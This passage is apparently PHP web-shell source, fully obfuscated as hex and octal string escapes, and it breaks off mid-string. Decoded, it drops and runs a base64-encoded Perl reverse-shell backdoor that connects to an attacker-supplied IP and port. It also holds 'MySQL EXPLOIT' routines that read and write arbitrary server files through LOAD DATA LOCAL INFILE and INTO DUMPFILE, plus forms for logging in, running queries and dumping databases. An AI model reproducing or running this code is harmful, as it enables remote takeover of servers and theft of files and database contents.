\x73\111\103\122\x77\143\155\x39\x30\x4b\x53\x42\70\146\x43\102\x6b\141\127\125\x67\x4b\103\x4a\142\x4c\x56\60\x67\126\x57\65\150\x59\x6d\170\154\x49\x48\122\166\111\x45\x4e\166\x62\155\65\154\131\x33\x51\147\111\x53\x49\x70\x4f\x77\x30\113\x61\127\131\147\x4b\x43\x46\152\142\x32\65\x75\132\x57\x4e\60\x4b\x46\x4e\106\125\154\x5a\106\125\151\x77\147\x63\x47\106\152\x61\171\x41\151\x55\62\65\x42\116\x48\147\x34\111\x69\167\x67\x4d\x69\x77\147\112\x48\102\166\143\x6e\x51\163\x49\107\154\165\132\130\122\146\131\130\122\166\142\151\x67\153\x61\107\71\172\x64\103\153\160\113\x53\x42\67\x5a\107\154\x6c\x4b\x43\x4a\x62\114\126\x30\147\126\127\x35\x68\131\155\x78\x6c\111\110\x52\166\111\105\116\x76\x62\155\65\x6c\131\63\x51\147\x49\123\111\x70\117\x33\x30\x4e\x43\151\x41\x67\142\63\x42\x6c\142\151\150\124\x56\x45\122\x4a\x54\151\167\x69\120\151\132\x54\x52\x56\x4a\x57\x52\126\111\151\113\x54\x73\x4e\x43\151\x41\x67\x62\63\102\x6c\x62\x69\150\124\x56\x45\x52\120\126\126\x51\x73\111\152\64\155\125\x30\126\123\x56\153\126\123\x49\x69\153\x37\104\121\x6f\x67\111\x47\71\167\x5a\127\x34\157\125\x31\122\105\x52\x56\112\123\114\x43\111\53\112\154\x4e\x46\125\154\x5a\106\125\151\x49\x70\x4f\167\60\x4b\x63\x48\112\x70\142\x6e\x51\x67\x49\151\x30\x74\114\123\60\164\x4c\x53\60\164\x4c\123\x30\164\114\x53\60\x74\x4c\x53\60\x74\x4c\123\60\164\x4c\123\x30\x74\114\123\60\x74\x4c\x53\60\164\114\123\x30\164\x4c\123\x30\x74\x4c\123\60\x74\114\x56\170\165\x49\x6a\163\x4e\x43\156\x42\171\141\x57\65\60\111\x43\111\147\x43\123\x30\x39\x49\106\112\154\144\155\x56\171\x63\x32\x55\147\125\x32\150\x6c\142\107\x77\147\x51\x6d\106\152\141\x32\x52\166\x62\x33\x49\147\120\x53\60\x4a\x58\107\x34\x69\117\167\60\x4b\143\x48\112\x70\142\x6e\x51\x67\x49\151\x30\164\114\123\60\164\x4c\123\x30\164\114\x53\x30\x74\x4c\123\60\x74\114\x53\x30\164\x4c\x53\60\x74\114\x53\x30\x74\x4c\x53\x30\164\114\123\60\164\114\123\x30\164\114\x53\x30\164\x4c\x53\60\x74\x4c\126\170\x75\111\152\x73\x4e\x43\156\x42\x79\x61\127\65\x30\111\103\111\147\x52\107\126\x30\x5a\127\116\x30\x5a\127\x51\147\x63\62\x68\154\x62\107\167\66\111\103\122\x6a\x62\127\121\x4a\103\x56\x78\165\x49\152\x73\116\103\x6e\x42\171\141\x57\65\x30\x49\103\111\164\114\x53\x30\x74\x4c\x53\60\x74\x4c\x53\60\x74\114\x53\x30\164\114\123\60\164\114\x53\x30\164\x4c\123\x30\164\114\123\60\x74\114\x53\60\164\x4c\x53\60\x74\x4c\123\x30\x74\x4c\123\60\164\114\x53\x31\143\142\154\170\165\111\152\x73\116\103\155\x56\x34\x5a\x57\115\x67\x4b\x43\x52\152\142\x57\x51\x70\x4f\x79\101\x3d\42\51\x3b\12\12\x66\x77\x72\x69\164\145\50\146\157\x70\x65\x6e\50\x22\162\x65\166\x65\162\163\x65\x2e\160\x6c\x22\54\x20\x22\x77\53\x22\x29\54\40\x24\x74\x78\164\51\x3b\xa\145\x78\x61\x28\x22\160\x65\162\154\x20\x72\x65\166\145\162\x73\145\x2e\x70\154\40\x22\x2e\44\x5f\120\117\x53\x54\x5b\151\x70\x5d\x2e\42\x20\x22\x2e\44\x5f\120\x4f\x53\124\x5b\160\x6f\162\x74\x5d\56\x22\x20\42\56\44\x6f\163\x29\x3b\xa\165\156\x6c\151\156\x6b\x28\42\x72\x65\166\145\162\x73\x65\x2e\x70\x6c\x22\51\73\xa\x7d\xa\x2f\57\40\x4d\x79\123\121\x4c\x20\105\130\x50\114\x4f\111\124\x20\162\145\x61\144\40\x66\151\154\145\12\x69\x66\40\50\44\137\120\x4f\x53\x54\x5b\x27\x6d\x6f\x64\145\x27\x5d\x20\75\x3d\x20\42\x73\x71\154\145\x78\x70\x6c\x6f\151\x74\x22\x29\x20\x7b\xa\x24\x6c\151\156\153\40\x3d\40\155\x79\163\x71\x6c\137\x63\157\156\156\145\143\x74\x28\44\x5f\103\x4f\x4f\113\111\x45\x5b\x27\x6d\171\x73\161\x6c\137\x68\157\x73\x74\x27\135\54\40\44\137\103\117\x4f\113\x49\105\133\x27\x6d\171\x73\x71\154\x5f\165\x73\145\x72\x27\x5d\x2c\40\44\x5f\x43\x4f\117\113\111\105\133\47\155\x79\x73\x71\154\x5f\x70\x61\x73\x73\x27\x5d\51\x6f\x72\40\x64\x69\145\x28\x6d\x79\x73\x71\x6c\x5f\x65\162\x72\157\162\x28\51\51\x3b\xa\x24\x64\142\x20\x3d\x20\155\x79\x73\161\x6c\137\163\145\x6c\145\x63\164\137\x64\x62\50\44\x5f\103\117\x4f\x4b\x49\105\133\47\155\x79\x73\161\x6c\137\x6e\x61\155\x65\x27\135\51\x3b\12\44\x70\141\164\150\x20\75\40\x24\137\120\x4f\123\124\133\47\160\x61\x74\x68\47\x5d\73\12\x24\161\165\x65\x72\171\40\75\40\42\103\x52\x45\x41\124\105\40\x54\x41\x42\x4c\105\x20\140\x6e\145\x78\x70\154\x30\151\164\140\40\x28\140\160\141\164\150\x60\x20\x6c\157\x6e\x67\164\145\170\164\x20\x6e\157\x74\40\156\165\154\154\x29\x3b\x22\73\12\x24\x64\145\x6c\145\x74\x65\x20\x3d\40\40\42\x44\x52\117\120\40\124\x41\102\114\x45\x20\140\156\x65\x78\x70\x6c\x30\151\x74\140\x3b\x22\73\12\44\142\171\160\141\163\x73\x20\x3d\40\42\114\117\101\x44\40\x44\101\124\101\40\114\x4f\x43\x41\114\40\111\x4e\106\111\x4c\x45\x20\47\x24\160\141\164\150\47\x20\x49\116\x54\x4f\x20\x54\101\x42\114\105\40\156\145\x78\160\154\x30\151\x74\73\x22\73\12\44\146\165\x63\x6b\x20\75\40\42\x53\x45\x4c\x45\x43\124\40\52\x20\x46\x52\117\x4d\40\x6e\x65\x78\160\154\60\151\164\73\x22\x3b\xa\xa\xa\x6d\x79\163\161\154\x5f\161\x75\x65\162\x79\50\x24\144\x65\154\145\x74\x65\x29\73\xa\x6d\171\x73\x71\x6c\x5f\x71\165\x65\162\x79\50\x24\x71\x75\145\x72\x79\51\x3b\12\x6d\x79\x73\161\154\137\161\165\145\162\x79\50\44\142\171\x70\x61\163\163\x29\157\162\40\144\151\x65\x28\42\115\171\x73\161\154\55\x65\x78\x70\154\x6f\x69\x74\x2d\x65\x72\162\157\x72\x20\72\40\x22\56\155\171\x73\161\154\x5f\145\162\x72\157\162\x28\x29\51\73\xa\x24\162\x65\163\x20\75\40\x6d\171\x73\x71\154\137\x71\x75\145\162\171\x28\44\x66\x75\143\x6b\x29\x6f\162\40\x64\x69\x65\x28\x6d\171\x73\161\154\x5f\x65\162\x72\x6f\162\50\51\51\x3b\xa\x24\164\170\164\40\75\40\42\x22\73\xa\x77\150\x69\x6c\x65\x28\x24\162\157\167\x20\75\x20\x6d\x79\163\161\154\x5f\146\x65\x74\x63\x68\137\141\162\162\141\171\x28\x24\x72\145\163\x29\51\x20\173\12\11\44\164\170\x74\x20\56\x3d\40\44\162\x6f\167\x5b\160\x61\x74\x68\x5d\x2e\x22\x5c\x6e\42\73\xa\175\xa\x24\157\x75\164\160\x75\x74\40\x3d\40\42\74\146\x6f\162\155\40\x61\x63\x74\x69\x6f\156\x3d\x23\x20\x6d\x65\x74\150\157\144\75\x50\x4f\x53\124\76\74\x69\156\x70\x75\164\x20\164\171\x70\x65\x3d\150\151\144\x64\145\156\40\x6e\x61\155\x65\75\x6d\x6f\144\x65\x20\166\141\154\165\145\x3d\x73\x71\154\167\x72\x69\x74\x65\x66\x69\x6c\145\x3e\106\x69\154\x65\40\x3a\x20\x3c\x62\76\x3c\151\156\x70\165\164\x20\x74\x79\x70\x65\x3d\x74\145\170\164\x20\x6e\x61\155\145\x3d\x70\141\x74\150\x20\x76\x61\x6c\165\145\75\47\44\160\x61\x74\x68\47\76\12\74\151\x6e\160\x75\164\40\164\171\x70\x65\75\x73\165\142\155\151\x74\40\x76\141\x6c\165\145\x3d\x53\x61\166\x65\76\x20\x3c\57\x62\76\74\142\x72\x20\57\x3e\x3c\x62\x72\40\x2f\x3e\xa\74\x74\145\x78\x74\141\x72\x65\x61\40\x72\x6f\x77\x73\x3d\x33\60\x20\x63\x6f\154\163\x3d\61\60\x30\40\156\x61\x6d\145\x3d\156\x65\x77\x74\145\x78\164\x3e\x22\x2e\x68\x74\155\154\x73\x70\x65\143\x69\x61\154\x63\150\x61\x72\163\50\x24\164\x78\x74\x29\x2e\42\74\57\164\x65\170\164\141\162\x65\141\76\74\57\146\157\162\x6d\x3e\42\73\12\x7d\12\x2f\57\40\115\171\x53\121\x4c\40\105\130\120\114\x4f\111\x54\x20\167\162\151\x74\x65\12\x69\146\x20\x28\44\x5f\120\117\x53\x54\x5b\47\155\x6f\144\145\x27\x5d\x20\x3d\75\x20\x22\x73\x71\x6c\x77\x72\151\164\x65\x66\x69\154\145\42\x29\40\x7b\xa\44\154\151\156\153\x20\75\x20\155\x79\163\x71\154\x5f\143\x6f\x6e\156\145\x63\164\x28\x24\137\103\117\x4f\x4b\111\x45\x5b\x27\x6d\171\163\161\154\137\x68\157\x73\x74\x27\x5d\54\x20\44\x5f\103\x4f\117\x4b\x49\105\x5b\47\155\171\163\x71\154\137\x75\x73\145\x72\x27\x5d\54\x20\44\x5f\x43\x4f\x4f\x4b\111\105\x5b\x27\x6d\171\x73\161\x6c\137\160\x61\163\163\x27\x5d\x29\x6f\x72\40\144\x69\x65\50\155\x79\163\x71\154\137\145\162\162\x6f\162\50\51\x29\x3b\xa\44\144\x62\x20\x3d\40\155\171\x73\x71\x6c\x5f\x73\145\x6c\x65\x63\x74\137\144\x62\x28\x24\x5f\x43\117\117\113\x49\105\133\47\x6d\171\x73\161\154\137\156\141\x6d\145\47\x5d\51\x3b\xa\44\x70\x61\164\x68\x20\75\40\44\x5f\x50\117\123\124\x5b\x27\160\x61\x74\x68\x27\x5d\x3b\12\x24\x63\157\156\164\145\156\x74\40\75\40\44\x5f\120\x4f\123\x54\x5b\x27\156\x65\167\164\145\x78\x74\x27\x5d\x3b\12\44\x74\170\164\40\x3d\x20\142\x69\x6e\x32\x68\145\x78\x28\x24\143\x6f\156\164\145\x6e\x74\x29\73\xa\x24\x71\x75\x65\162\171\x20\75\40\42\123\105\114\105\103\x54\40\x30\x78\x7b\44\x74\170\x74\x7d\x20\111\x4e\x54\x4f\x20\104\125\x4d\120\x46\x49\x4c\105\x20\47\x24\x70\141\x74\150\47\x3b\42\x3b\xa\x24\162\145\x73\x20\x3d\x20\155\x79\163\x71\154\137\x71\x75\145\x72\171\50\44\161\165\x65\x72\171\51\157\162\x20\144\x69\x65\x28\x6d\171\163\x71\x6c\x5f\145\x72\x72\x6f\162\50\x29\x29\73\xa\x24\x6f\x75\164\160\165\x74\x20\75\40\44\160\x61\x74\x68\x2e\42\40\163\141\166\145\144\x21\x22\73\xa\x7d\12\xa\x2f\57\40\x4d\171\123\x51\x4c\40\114\x6f\147\x69\x6e\xa\x69\146\40\x28\44\137\120\117\123\124\x5b\47\x6d\157\x64\x65\x27\135\40\75\x3d\x20\x22\x6c\x6f\x67\x69\x6e\163\x71\x6c\x22\x29\40\173\12\163\x65\x74\143\x6f\x6f\153\x69\x65\50\x22\155\171\x73\161\x6c\137\165\x73\145\162\42\54\40\x24\x5f\120\x4f\123\124\133\x27\165\x73\145\162\47\x5d\x29\x3b\12\163\x65\164\x63\x6f\157\x6b\x69\145\x28\42\x6d\171\163\x71\154\137\160\x61\163\x73\42\54\44\x5f\120\x4f\x53\x54\133\x27\160\x61\x73\163\47\135\51\x3b\xa\163\x65\x74\143\157\x6f\153\151\x65\50\42\x6d\171\163\161\x6c\x5f\x68\157\163\x74\x22\54\44\x5f\120\x4f\x53\124\133\x27\x68\x6f\x73\164\x27\x5d\x29\73\12\x73\145\164\x63\x6f\x6f\153\x69\x65\50\42\155\171\x73\x71\154\137\x6e\x61\x6d\145\x22\54\x24\x5f\120\117\123\x54\x5b\47\x64\142\x6e\x61\155\x65\47\135\x29\x3b\12\x24\x6c\151\156\x6b\x20\x3d\40\155\171\x73\x71\x6c\x5f\143\x6f\x6e\156\x65\143\164\50\44\x5f\120\x4f\x53\124\133\x27\150\x6f\x73\164\x27\x5d\54\40\44\137\x50\117\123\x54\x5b\x27\165\x73\x65\162\x27\x5d\x2c\x20\44\x5f\x50\117\123\x54\133\x27\x70\x61\x73\x73\x27\135\51\x6f\162\40\x64\151\145\50\x6d\x79\x73\x71\x6c\137\x65\x72\162\157\x72\50\x29\x29\73\12\44\x64\142\40\75\40\x6d\171\x73\x71\154\x5f\x73\x65\154\x65\143\164\x5f\144\x62\x28\44\x5f\120\117\x53\x54\133\x27\144\142\x6e\141\x6d\145\x27\135\51\x3b\12\x24\157\x75\x74\x70\x75\x74\40\75\x20\x27\74\x74\141\x62\x6c\145\x20\x77\x69\144\164\150\x3d\x22\x31\x30\x30\45\x22\40\142\x6f\x72\x64\x65\x72\x3d\60\x3e\x3c\x74\162\76\74\x74\x64\76\74\x66\x6f\162\x6d\40\151\x64\x3d\x22\x74\141\142\154\x65\x22\x20\x6e\x61\155\145\x3d\x22\164\141\142\x6c\x65\x22\40\x6d\145\x74\150\x6f\144\75\x22\160\x6f\163\164\42\x20\141\x63\x74\x69\157\156\x3d\x22\x23\x22\x3e\74\x69\156\x70\x75\x74\x20\x74\x79\x70\145\x3d\x68\x69\144\144\x65\x6e\40\x6e\141\155\x65\x3d\155\157\x64\145\40\166\141\x6c\x75\x65\x3d\163\161\154\137\161\x75\145\x72\x79\x20\57\76\12\xa\40\x20\74\x69\156\160\x75\164\40\x6e\x61\155\145\x3d\42\161\x75\x65\162\x79\42\40\x74\x79\x70\x65\x3d\42\164\x65\170\x74\x22\x20\x69\x64\x3d\42\x71\x75\x65\162\x79\42\x20\163\x69\172\145\75\x22\65\x30\x22\40\166\141\x6c\165\x65\75\x22\x53\x45\x4c\105\103\x54\x20\x2a\x20\x46\122\x4f\115\40\164\141\142\x6c\x65\137\x6e\141\155\145\x22\x20\x2f\76\xa\x20\40\x3c\x69\156\x70\165\164\x20\164\x79\x70\x65\x3d\42\x73\165\142\x6d\x69\x74\x22\40\x6e\x61\x6d\x65\x3d\42\x53\x75\x62\x6d\x69\164\x22\40\166\141\154\165\145\75\x22\121\165\x65\162\171\42\40\57\x3e\12\x3c\x2f\146\x6f\x72\155\x3e\74\x66\157\162\x6d\40\141\x63\164\151\157\x6e\75\43\40\155\145\164\x68\x6f\x64\75\x70\157\x73\x74\76\74\x69\x6e\x70\165\164\40\x74\171\x70\x65\75\x68\151\144\144\145\x6e\x20\156\141\x6d\x65\x3d\155\157\x64\x65\x20\x76\x61\x6c\x75\145\x3d\144\x75\x6d\x70\137\144\x62\x3e\74\151\156\160\x75\164\x20\x6e\141\x6d\145\x3d\x64\142\156\141\155\x65\40\x74\x79\160\x65\75\x74\x65\x78\164\x20\x76\x61\x6c\x75\x65\x3d\42\x27\56\44\137\120\x4f\123\124\133\x64\142\x6e\x61\155\145\135\56\47\x22\40\163\x69\x7a\x65\75\42\x33\x30\x22\76\xa\74\x69\156\x70\x75\164\x20\x74\171\x70\x65\x3d\163\165\x62\x6d\x69\x74\x20\x76\x61\154\165\145\75\x44\x75\x6d\x70\x44\x62\76\74\57\x66\x6f\x72\155\x3e\x3c\x2f\164\x64\x3e\74\164\144\x20\141\x6c\151\147\156\75\x6c\x65\x66\x74\76\12\74\142\76\x3a\x3a\40\115\171\123\x51\114\x20\x45\x78\160\x6c\x6f\x69\x74\40\72\x3a\x3c\57\x62\76\x3c\x62\x72\40\x2f\76\xa\x3c\x66\x6f\x72\155\x20\141\x63\164\151\157\156\75\x23\40\x6d\145\x74\150\157\144\x3d\160\x6f\163\164\76\x3c\151\x6e\x70\x75\x74\40\164\x79\160\145\x3d\x68\151\x64\x64\145\x6e\x20\156\x61\x6d\145\75\155\x6f\144\x65\40\166\x61\x6c\x75\145\75\163\x71\154\x65\170\160\x6c\x6f\151\164\76\x45\144\151\x74\40\146\151\154\145\72\40\74\x69\156\160\x75\164\x20\156\141\155\x65\x3d\x70\x61\164\150\40\x74\171\160\x65\75\164\145\x78\164\x20\166\141\x6c\165\x65\x3d\42\x61\x62\x73\x6f\154\165\x74\x65\x20\160\x61\164\x68\42\76\12\x3c\151\156\160\165\x74\40\x74\x79\160\145\75\x73\x75\142\x6d\151\164\40\x76\141\x6c\x75\145\x3d\x22\122\145\141\144\57\x45\x64\x69\164\x22\x3e\74\57\146\x6f\162\155\x3e\12\xa\x3c\57\x74\x64\76\74\x2f\x74\162\76\x3c\57\x74\141\x62\x6c\145\x3e\xa\12\x3c\x74\x61\x62\154\145\x20\167\151\144\x74\150\75\x22\61\x30\x30\x25\x22\x20\x62\157\x72\x64\x65\162\75\x22\x31\x22\x20\143\x65\154\x6c\163\x70\141\x63\151\156\x67\75\x22\x30\42\x20\x63\x65\154\x6c\160\141\x64\144\151\x6e\x67\75\x22\x30\x22\76\12\x3c\164\x72\76\12\74\x74\x64\40\167\x69\x64\164\x68\75\x33\x30\45\x3e\12\74\164\x61\142\154\145\x20\167\x69\144\x74\150\x3d\x22\61\x30\60\x25\x22\40\x62\x6f\x72\144\x65\162\x3d\42\61\42\x20\x63\145\x6c\154\x73\160\141\143\151\x6e\147\75\x22\60\x22\40\143\145\x6c\154\160\141\x64\x64\151\156\147\75\42\x30\x22\76\xa\x20\12\40\x20\x3c\57\164\x72\x3e\12\40\x20\74\x74\x72\x3e\12\x20\40\40\x20\74\164\144\x3e\74\143\x65\x6e\x74\x65\x72\x3e\55\x2d\x5b\40\x54\x61\142\154\145\40\x4c\151\x73\x74\x20\135\x2d\55\x3c\57\x63\145\156\164\145\162\76\40\x3c\57\164\x64\76\12\40\x20\74\x2f\x74\x72\x3e\x27\x3b\xa\x20\x24\161\40\75\40\155\x79\163\x71\x6c\137\161\x75\145\x72\171\50\x22\x53\110\117\127\x20\x54\101\102\x4c\x45\123\x22\x29\157\162\x20\x64\x69\145\50\x6d\171\x73\x71\154\137\145\162\162\x6f\162\x28\51\x29\x3b\12\x77\150\151\154\145\x20\x28\x24\164\x61\x62\x6c\x65\x20\75\40\x6d\x79\163\x71\154\137\x66\145\x74\143\150\137\141\x72\162\141\x79\50\44\161\x29\x29\x20\x7b\xa\44\x6f\x75\x74\160\x75\164\x20\x2e\75\x20\x27\74\164\162\x3e\12\40\40\x20\x20\x3c\x74\144\76\74\143\145\x6e\x74\145\x72\x3e\x3c\x61\x20\x63\x6c\141\163\163\75\x22\154\151\156\x6b\42\40\150\162\145\x66\x3d\x22\x6a\x61\x76\141\x73\143\x72\x69\160\x74\72\144\x6f\143\x75\155\x65\156\x74\56\164\x61\142\154\x65\56\161\x75\145\x72\x79\56\166\141\154\x75\145\x3d\134\x27\x53\105\x4c\105\103\x54\40\x2a\40\106\x52\117\x4d\40\47\56\44\164\x61\142\154\145\x5b\60\135\56\47\x5c\x27\73\x64\x6f\x63\x75\x6d\145\x6e\164\x2e\164\141\x62\154\x65\x2e\163\165\142\x6d\151\x74\50\x29\73\42\76\x27\x2e\44\x74\141\142\x6c\x65\x5b\x30\x5d\56\47\x3c\57\141\76\x3c\x2f\143\145\x6e\x74\145\x72\76\x3c\57\x74\144\x3e\12\40\40\74\57\x74\x72\x3e\x27\73\xa\x20\x20\12\x7d\x20\12\x20\x20\12\xa\x20\44\157\165\164\160\165\x74\40\x2e\x3d\x20\x27\12\x3c\x2f\x74\x61\x62\154\145\x3e\x3c\57\164\144\x3e\12\x3c\x74\x64\40\x77\151\144\164\x68\x3d\42\x37\x30\x25\x22\x3e\xa\74\x2f\x74\144\x3e\12\74\57\x74\162\x3e\xa\74\57\164\x61\142\x6c\145\76\xa\47\x3b\12\175\12\x2f\57\40\x4d\x79\x53\x51\x4c\x20\x51\165\145\162\x79\xa\151\146\x20\x28\44\137\x50\117\123\124\133\47\x6d\x6f\144\x65\x27\x5d\x20\x3d\75\40\x22\163\x71\154\x5f\x71\x75\x65\162\171\42\51\x20\173\12\x24\154\x69\156\x6b\x20\75\40\x6d\171\163\x71\x6c\137\x63\x6f\156\x6e\x65\x63\164\x28\x24\x5f\x43\117\117\x4b\x49\x45\x5b\x27\x6d\x79\163\x71\x6c\137\x68\157\163\x74\x27\135\54\x20\x24\x5f\103\117\x4f\113\111\x45\x5b\x27\155\x79\163\161\154\137\x75\163\x65\x72\x27\x5d\x2c\40\44\x5f\103\x4f\x4f\x4b\111\105\x5b\47\155\171\163\x71\154\137\x70\x61\163\x73\x27\135\x29\157\162\x20\x64\151\x65\x28\x6d\x79\163\161\154\x5f\x65\162\x72\157\x72\x28\51\51\73\12\x24\144\x62\40\75\x20\155\171\163\x71\x6c\137\163\145\154\x65\x63\x74\137\144\142\50\x24\137\103\x4f\x4f\x4b\x49\x45\133\47\155\x79\x73\161\x6c\137\x6e\x61\155\x65\x27\x5d\51\73\12\50\151\163\x73\x65\x74\x28\44\137\x50\x4f\x53\x54\133\x27\x64\142\156\x61\155\145\47\135\51\x29\x20\x3f\40\x6d\171\x73\161\x6c\137\x73\x65\154\145\x63\x74\137\144\142\50\x24\137\x50\117\x53\x54\x5b\x27\144\x62\156\141\x6d\x65\47\x5d\51\40\72\40\x70\x72\x69\156\164\x20\42\x22\x3b\xa\44\x71\165\x65\x72\171\x20\75\x20\x6d\171\x73\x71\x6c\x5f\x71\165\145\x72\x79\50\165\162\x6c\x64\x65\143\157\x64\145\x28\x73\164\162\151\160\163\x6c\141\163\150\145\163\50\44\x5f\120\117\123\124\x5b\x27\161\165\x65\x72\x79\47\x5d\51\x29\x29\x6f\x72\x20\144\151\145\50\x22\x45\162\x72\x6f\162\40\161\165\145\162\171\x3a\x20\74\142\76\x7b\x22\56\x73\164\x72\151\x70\x73\154\141\x73\150\145\x73\x28\x24\x5f\x50\117\123\x54\x5b\x71\165\145\162\x79\135\51\x2e\42\x7d\x3c\57\x62\x3e\x20\155\x79\163\x71\154\x20\x73\141\171\163\x3a\42\x2e\155\x79\163\x71\154\137\x65\162\x72\x6f\162\x28\x29\x29\73\12\x24\x70\x61\x72\x73\40\75\40\141\162\162\141\171\137\153\x65\171\x73\x28\x6d\171\163\x71\154\137\146\x65\x74\143\x68\137\141\162\x72\141\x79\x28\x24\x71\x75\145\x72\171\51\51\x3b\12\x24\x6e\160\x61\162\x73\40\x3d\40\x63\x6f\165\156\164\50\44\160\141\162\163\x29\x3b\12\44\x71\167\157\x72\144\x73\40\x3d\x20\x65\170\x70\154\x6f\144\x65\50\42\40\42\x2c\40\x24\x5f\x50\117\x53\124\133\x27\161\x75\x65\x72\171\x27\135\51\x3b\xa\x67\154\157\x62\x61\x6c\x20\44\x73\x65\x6c\145\143\164\x2c\x20\x24\x74\x61\x62\x6c\x65\137\x6e\x61\x6d\x65\73\xa\x69\x66\40\50\x73\164\162\164\x6f\x6c\157\x77\x65\162\x28\44\x71\167\157\x72\144\x73\133\x30\x5d\x29\x20\x3d\75\x20\x22\163\x65\154\145\143\164\x22\x29\x20\x7b\12\x9\x24\x73\145\154\x65\x63\x74\40\75\40\x54\122\125\x45\73\xa\11\x24\x6e\x71\167\40\75\x20\x63\157\165\156\164\50\44\x71\167\157\162\144\163\x29\x3b\12\x9\x66\157\x72\x28\x24\151\x3d\x30\x3b\x24\x69\74\x24\x6e\x71\167\x3b\44\151\53\53\51\x20\x7b\xa\x9\11\x69\146\40\x28\x73\x74\x72\x74\157\154\x6f\x77\x65\162\x28\44\161\167\157\162\144\163\133\44\x69\135\x29\40\x3d\x3d\x20\x22\x66\x72\157\x6d\x22\x29\x20\x7b\xa\x9\11\x9\44\164\141\142\x6c\x65\137\x6e\141\155\x65\40\75\x20\x24\x71\x77\x6f\x72\144\163\133\x24\x69\x2b\x31\135\x3b\xa\x9\11\x9\x62\162\145\x61\153\x3b\12\11\11\x7d\12\x9\x7d\xa\x7d\12\x24\160\141\x72\x7a\x20\75\40\44\x70\x61\x72\163\x3b\xa\x24\160\x34\162\172\x20\75\40\x24\x70\x61\x72\172\73\12\44\157\x75\x74\x70\165\x74\x20\56\x3d\x20\x27\x3c\x66\157\162\x6d\40\151\144\75\42\x74\141\x62\x6c\145\x22\x20\x6e\141\x6d\145\75\x22\164\x61\x62\x6c\145\42\40\x6d\x65\x74\x68\x6f\x64\75\x22\x70\157\163\164\42\40\141\143\164\151\x6f\x6e\x3d\42\x23\x22\76\74\151\156\160\x75\164\x20\x74\x79\160\145\x3d\x68\x69\x64\x64\x65\156\x20\156\141\155\x65\x3d\155\157\144\x65\x20\x76\x61\154\165\x65\x3d\x73\x71\154\x5f\x71\x75\145\162\171\x20\x2f\76\xa\40\12\x20\40\x3c\x69\x6e\x70\165\164\x20\156\x61\155\x65\75\42\161\165\145\162\x79\x22\40\x74\171\160\145\x3d\x22\164\x65\170\164\x22\x20\151\144\75\x22\x71\165\x65\162\x79\42\x20\x73\x69\172\x65\75\x22\x35\60\42\x20\x76\141\x6c\165\145\75\42\x53\x45\114\105\x43\x54\x20\52\x20\x46\122\x4f\115\x20\x74\x61\142\x6c\145\137\156\141\155\x65\42\40\57\76\xa\x20\x20\x3c\151\x6e\160\x75\x74\40\164\x79\x70\145\x3d\42\163\x75\x62\x6d\x69\164\42\x20\156\x61\x6d\145\x3d\42\123\165\142\x6d\151\x74\42\x20\x76\141\x6c\x75\145\75\x22\x51\165\x65\162\x79\x22\x20\57\76\xa\74\57\x66\x6f\162\x6d\76\74\x66\157\x72\155\x20\141\143\164\x69\157\156\75\43\x20\155\145\164\150\157\x64\x3d\x70\x6f\163\164\x3e\x3c\x69\156\160\165\x74\40\x74\x79\160\x65\75\x68\151\144\144\x65\x6e\40\156\x61\x6d\x65\75\x6d\157\144\x65\x20\x76\141\154\x75\145\75\144\x75\x6d\160\137\x64\x62\x3e\x3c\x69\x6e\160\165\164\x20\x6e\141\x6d\x65\75\x64\x62\156\x61\x6d\145\x20\164\171\x70\145\75\164\x65\x78\164\x20\166\x61\154\165\x65\x3d\x22\x27\56\x24\137\103\117\x4f\x4b\x49\105\x5b\155\x79\x73\161\x6c\137\156\141\x6d\145\x5d\56\47\x22\40\x73\151\x7a\145\x3d\42\x33\60\42\x3e\12\74\x69\156\x70\x75\164\40\164\x79\160\x65\x3d\x73\165\x62\x6d\x69\164\x20\166\x61\154\x75\x65\75\x44\165\155\160\104\x62\x3e\74\x2f\146\157\x72\x6d\x3e\x3c\146\157\x72\x6d\x20\x6e\x61\x6d\145\x3d\x22\x75\x70\x64\x61\x74\145\x22\40\155\145\x74\150\x6f\144\75\x70\157\x73\164\x20\141\x63\164\151\x6f\156\x3d\x23\x3e\74\151\x6e\160\x75\x74\x20\164\x79\x70\x65\x3d\150\151\144\x64\145\x6e\40\156\x61\155\x65\x3d\155\x6f\x64\x65\40\x76\141\154\x75\145\x3d\165\160\x64\x61\x74\145\76\x3c\x69\156\x70\165\164\40\164\x79\160\145\x3d\x68\151\144\x64\145\x6e\40\x6e\x61\155\145\x3d\x63\157\x6e\x64\x69\164\151\157\156\163\x3e\74\x69\156\160\x75\164\40\164\x79\x70\x65\75\x68\x69\144\x64\x65\x6e\x20\x6e\x61\155\x65\x3d\x74\141\142\154\x65\x3e\74\57\x66\157\x72\155\x3e\xa\12\x3c\x74\x61\142\154\145\x20\167\151\x64\x74\x68\75\42\61\60\60\45\42\40\142\x6f\162\x64\145\162\75\x22\61\42\40\x63\x65\154\x6c\x73\160\x61\x63\x69\156\x67\x3d\x22\x30\x22\x20\x63\145\x6c\154\x70\x61\144\144\151\156\147\75\42\x30\x22\76\12\74\164\162\76\12\x3c\x74\x64\x20\167\x69\x64\164\150\x3d\x33\60\45\x20\166\x61\154\151\147\156\75\x74\x6f\160\76\xa\74\x74\141\142\154\145\x20\x77\x69\144\x74\150\x3d\x22\61\x30\x30\x25\42\x20\x62\x6f\162\x64\x65\x72\75\x22\61\42\x20\x63\145\x6c\154\163\x70\x61\143\x69\156\147\x3d\42\x30\42\40\x63\x65\154\x6c\x70\141\144\x64\151\x6e\x67\x3d\42\x30\x22\x3e\12\x20\12\x20\x20\74\57\x74\x72\x3e\xa\40\40\74\x74\x72\76\xa\40\x20\x20\x20\74\x74\144\x3e\x3c\x63\145\x6e\x74\145\x72\x3e\55\55\133\40\x54\x61\142\x6c\x65\40\x4c\151\163\164\x20\x5d\x2d\55\x3c\57\x63\x65\156\x74\145\x72\76\x20\x3c\x2f\x74\144\x3e\12\40\40\x3c\x2f\x74\x72\76\47\x3b\12\x20\44\161\x20\75\x20\155\x79\163\x71\154\x5f\161\165\145\x72\x79\x28\x22\x53\x48\x4f\127\x20\124\x41\102\114\x45\x53\42\51\157\162\40\x64\x69\x65\50\155\171\x73\x71\x6c\137\145\x72\x72\x6f\162\50\51\x29\x3b\12\x77\150\x69\154\145\x20\x28\x24\164\x61\142\154\145\x20\x3d\x20\x6d\x79\x73\x71\154\137\x66\145\x74\143\150\x5f\x61\162\x72\141\x79\50\44\x71\x29\x29\40\173\12\x24\157\x75\x74\x70\x75\x74\40\56\75\x20\x27\x3c\164\162\76\xa\x20\40\x20\40\74\x74\x64\x3e\74\x63\x65\x6e\x74\145\x72\76\x3c\x61\40\143\154\x61\x73\163\75\x22\154\x69\156\x6b\x22\